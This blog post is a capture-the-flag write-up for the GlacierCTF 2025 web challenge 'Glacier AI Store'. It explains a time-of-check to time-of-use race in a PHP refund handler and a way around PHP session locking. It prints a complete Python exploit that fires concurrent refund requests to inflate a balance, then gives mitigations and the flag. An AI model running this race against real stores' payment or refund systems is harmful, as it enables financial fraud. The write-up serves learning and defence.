GlacierCTF 2025 featured intense competition across Open and Academic brackets. I had the opportunity to participate and want to share my solution for Glacier AI Store, a web challenge that required exploiting a classic race condition.
Challenge Description
Category: Web
Author: sc0peMa3str0
Description: 2024 called and want back their casual websites, where you need to manually navigate through the page. This year, we introduce Glacier AI Store, where we use AI to navigate a website. Never browse through sub-sub-sub navigation bars again. Check out our new products. We apologize again to those customers, who paid for products but couldn’t see them in their order list. We hired the best PHP vibe coders on the market and resolved the issue.
Initial Recon
The challenge presents a web application that simulates an “AI” chat interface for navigation. Behind the scenes, it’s a PHP application using iframes to load content based on navigation commands.

The goal is to buy the “Glacier Flag”, which costs 1000 credits. We start with only 1 credit.
Source Code Analysis
We are provided with the source code. The core logic resides in web/nav/pages/products.php:
<?php
if(!isLoggedIn()) { respondText($SYSTEM, "You are not logged in."); sendCtrl("ACCOUNT_NOSESSION"); exit(0);}
$sell = $_POST["sell"];$reason = $_POST["reason"];if(isset($sell) && array_key_exists($sell, $products)) { respondText($USER, "Cancel Order for product " . $products[$sell]["title"]); respondText($SYSTEM, "Cancelling Order for product " . $products[$sell]["title"]);
$loginID = getLoginID(); if(!hasUserProduct($loginID, $sell)) goto product_list; increaseBalance($loginID, $products[$sell]["price"]); if(isset($reason) && strlen($reason) > 0) respondText($USER, $reason); sellProduct($loginID, $sell, $reason); goto product_list;}
$product = $_SESSION["product"];$btn = $_POST["btn"];if(isset($product) && isset($btn) && array_key_exists($product, $products)) { unset($_SESSION["product"]); if($btn === "yes") { $loginID = getLoginID(); if(decreaseBalance($loginID, $products[$product]["price"])) { respondText($USER, $btn); buyProduct($loginID, $product); respondText($SYSTEM, "Great, we have received your order."); } else { respondText($SYSTEM, "Oh snap, seems like you don't have enough balance to buy this product."); } } goto product_list;}
$product = $_POST["product"];if(isset($product) && array_key_exists($product, $products)) { $_SESSION["product"] = $product; respondText($USER, "Order product " . $products[$product]["title"]); respondText($SYSTEM, "Are you sure you want to buy the product?"); sendCtrl("PRODUCT_BUY");} else { respondText($SYSTEM, "I'll forward you to the store, where you can order new products and view your orders.");}
exit(0);# https://xkcd.com/292/product_list: sendCtrl("PRODUCT_LIST");
?>The Vulnerability: Race Condition (TOCTOU)
The vulnerability is a classic Race Condition, specifically a Time-of-Check to Time-of-Use (TOCTOU) flaw.
What is a Race Condition?
A race condition occurs when a software system’s behavior depends on the timing or ordering of events, such as the execution order of concurrent threads or processes. When multiple processes access and manipulate shared data (like a database or file) at the same time, unexpected behavior can occur if the operations are not atomic or properly synchronized.
Time-of-Check to Time-of-Use (TOCTOU)
TOCTOU is a specific type of race condition where a program checks the state of a resource (Time-of-Check) and then performs an action based on that state (Time-of-Use), but the state changes between the check and the use.
In this challenge, the “Check” is verifying if the user owns the product, and the “Use” (or rather, the finalization) is removing the product.
The Flaw in products.php
To understand the vulnerability, we first need to look at the respondText helper function in web/helpers/utils.php. This function is designed to simulate an AI typing effect by streaming text with a delay:
function respondText($type, $msg="") { $textToStream = $type . $msg; for($i = 0; $i < strlen($textToStream); $i++) { echo $textToStream[$i]; usleep(50000); ob_flush(); flush(); }}This usleep(50000) introduces a 50ms delay per character.
Now, let’s look at the refund logic in web/nav/pages/products.php. Notice how it accepts a user-controlled reason parameter and passes it to respondText after refunding the money but before deleting the product:
if(isset($sell) && array_key_exists($sell, $products)) { respondText($USER, "Cancel Order for product " . $products[$sell]["title"]); respondText($SYSTEM, "Cancelling Order for product " . $products[$sell]["title"]);
$loginID = getLoginID();
if(!hasUserProduct($loginID, $sell)) goto product_list;
increaseBalance($loginID, $products[$sell]["price"]);
if(isset($reason) && strlen($reason) > 0) respondText($USER, $reason);
sellProduct($loginID, $sell, $reason); goto product_list;}By sending a long reason string (e.g., 100 characters), we can force the server to wait for 5 seconds between the refund and the deletion. This creates a massive window for a race condition.
Visualizing the Attack
If we send two requests (Req A and Req B) simultaneously:
| Time | Request A | Request B | State (Balance / Inventory) |
|---|---|---|---|
| T+0s | Check: Owns product? YES | 0 / [Stone] | |
| T+0.1s | Refund: Balance +1 | Check: Owns product? YES | 1 / [Stone] |
| T+0.2s | Delay: Sleeping… | Refund: Balance +1 | 2 / [Stone] |
| T+0.3s | Delay: Sleeping… | Delay: Sleeping… | 2 / [Stone] |
| … | … | … | … |
| T+5.0s | Delete: Remove product | Delay: Sleeping… | 2 / [] |
| T+5.1s | Done | Delete: Remove product (Fail) | 2 / [] |
Because Request B performs its check before Request A deletes the product, both requests successfully refund the money for the same single item.
Bypassing PHP Session Locking
PHP by default locks the session file for a given session ID, serializing requests from the same user. This means Request B would normally wait for Request A to finish before starting, preventing the race condition.
To bypass this, we can log in to the same account multiple times using different session cookies (PHPSESSID). The application allows multiple active sessions for the same user, allowing us to send truly concurrent requests.
Exploit Strategy
- Register a user.
- Create Multiple Sessions: Log in 10 times to get 10 different session cookies.
- Buy a cheap item (Glacier Stone, price 1).
- Race: Send concurrent
sellrequests from all 10 sessions.- Include a long
reasonstring (e.g., 100 ‘A’s) to introduce a 5-second delay. - Stagger the requests slightly (0.1s) to ensure they all hit within the delay window.
- Include a long
- Repeat: As balance grows, buy more expensive items (Water: 10, Jar: 100) to reach the target faster.
- Profit: Once balance >= 1000, buy the flag.
Exploit Script
Here is the full Python exploit script:
120 collapsed lines
import urllib.requestimport urllib.parseimport http.cookiejarimport threadingimport timeimport reimport sysimport stringimport random
URL = "http://localhost:8000"
# EndpointsEP_ACCOUNT_FRAME = "/nav/index.php?p=252" # 0xFCEP_PRODUCTS_FRAME = "/nav/index.php?p=253" # 0xFDEP_PRODUCTS_PAGE = "/nav/index.php?p=145" # 0x91
USERNAME = "hacker4053"PASSWORD = "s4E5_MK3Hzy0"
def get_opener(): cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) return opener
def register(): print(f"[*] Registering user {USERNAME}...") data = urllib.parse.urlencode( { "form": "register", "username": USERNAME, "password": PASSWORD, "password_repeat": PASSWORD, } ).encode()
try: with urllib.request.urlopen(f"{URL}{EP_ACCOUNT_FRAME}", data=data) as response: html = response.read().decode() if "Registration successful" in html: print("[+] Registration successful") return True else: print("[-] Registration failed (might already exist)") return False except Exception as e: print(f"[-] Registration error: {e}") return False
def login(): opener = get_opener() data = urllib.parse.urlencode( {"form": "login", "username": USERNAME, "password": PASSWORD} ).encode()
try: with opener.open(f"{URL}{EP_ACCOUNT_FRAME}", data=data) as response: html = response.read().decode() if "Login failed" in html: return None
# Verify by checking products frame with opener.open(f"{URL}{EP_PRODUCTS_FRAME}") as response: html = response.read().decode() if "Current Balance" in html: return opener except Exception as e: print(f"[-] Login error: {e}") return None return None
def get_balance(opener): try: with opener.open(f"{URL}{EP_PRODUCTS_FRAME}") as response: html = response.read().decode() match = re.search(r"Current Balance: (\d+) €", html) if match: return int(match.group(1)) except: pass return 0
def buy_product(opener, product="stone"): try: # Step 1: Select data1 = urllib.parse.urlencode({"product": product}).encode() opener.open(f"{URL}{EP_PRODUCTS_PAGE}", data=data1).read()
# Step 2: Confirm data2 = urllib.parse.urlencode({"btn": "yes"}).encode() with opener.open(f"{URL}{EP_PRODUCTS_PAGE}", data=data2) as response: html = response.read().decode("latin-1") if "Great, we have received your order" in html: return True except Exception: pass return False
def sell_product(opener, product="stone", barrier=None, use_reason=False): try: if barrier: barrier.wait()
params = {"sell": product} if use_reason: params["reason"] = "A" * 100 # 5 seconds delay
data = urllib.parse.urlencode(params).encode() with opener.open(f"{URL}{EP_PRODUCTS_PAGE}", data=data) as response: response.read() # Consume response except Exception: pass
def attempt_exploit(): if not register(): pass # Try login if register fails
# Create multiple sessions sessions = [] print("[*] Creating sessions...") for i in range(10): s = login() if s: sessions.append(s)
if len(sessions) < 2: print("[-] Not enough sessions") return False
print(f"[+] Created {len(sessions)} sessions") print(f"[+] Initial Balance: {get_balance(sessions[0])}")
target_balance = 1000 num_threads = 10
while True: balance = get_balance(sessions[0]) print(f"[*] Current Balance: {balance}")
if balance >= target_balance: print("[+] Target balance reached!") break
# Dynamic product selection product = "stone" if balance >= 100: product = "jar" elif balance >= 10: product = "water"
print(f"[*] Using product: {product}")
# Buy product price = 1 if product == "water": price = 10 if product == "jar": price = 100
if balance >= price: if not buy_product(sessions[0], product): print(f"[-] Failed to buy {product}") continue elif balance == 0: pass # Assume we have product
# Race condition threads = [] active_sessions = sessions[:num_threads] for s in active_sessions: t = threading.Thread(target=sell_product, args=(s, product, None, True)) threads.append(t) t.start() time.sleep(0.1) # Stagger
for t in threads: t.join()
# Buy Flag print("[*] Buying Flag...") try: data1 = urllib.parse.urlencode({"product": "flag"}).encode() sessions[0].open(f"{URL}{EP_PRODUCTS_PAGE}", data=data1).read()
data2 = urllib.parse.urlencode({"btn": "yes"}).encode() sessions[0].open(f"{URL}{EP_PRODUCTS_PAGE}", data=data2).read()
with sessions[0].open(f"{URL}{EP_PRODUCTS_FRAME}") as response: html = response.read().decode("latin-1") match = re.search( r"<td>Glacier Flag</td>\s*<td>(.*?)</td>", html, re.DOTALL ) if match: print(f"\n[SUCCESS] FLAG: {match.group(1).strip()}\n") return True else: print("[-] Could not find flag in table") except Exception as e: print(f"[-] Error buying flag: {e}")
return False
if __name__ == "__main__": attempt_exploit()Mitigation
To prevent this vulnerability, two main steps should be taken:
- Atomic Transactions: Use database transactions with proper locking (e.g.,
SELECT ... FOR UPDATE) to ensure that the check-and-update process is atomic. This prevents other requests from reading the balance until the current transaction is complete. - Session Locking: Do not rely solely on implicit PHP session locking, as it can be bypassed (as shown in this exploit) or disabled for performance. Instead, use explicit locking mechanisms:
- Database Row Locks: Lock the specific user record during critical sections of the code.
- Distributed Locks: Use a fast, in-memory store (like Redis or Memcached) to implement a mutex. By acquiring a lock on the
user_idbefore processing, you ensure sequential execution across all server instances.
Conclusion
This challenge serves as a stark reminder that even seemingly minor logic flaws can be exploited to bypass security controls and lead to significant gain for an attacker. Developers must proactively implement explicit locking mechanisms to safeguard against race conditions and ensure data integrity in multi-user environments.
Flag: gctf{pHP_G3tZ_W3iRD_Wh3n_y0U_D!SsC0nN3Ct_m0K9Pa5shMpOO3Mq}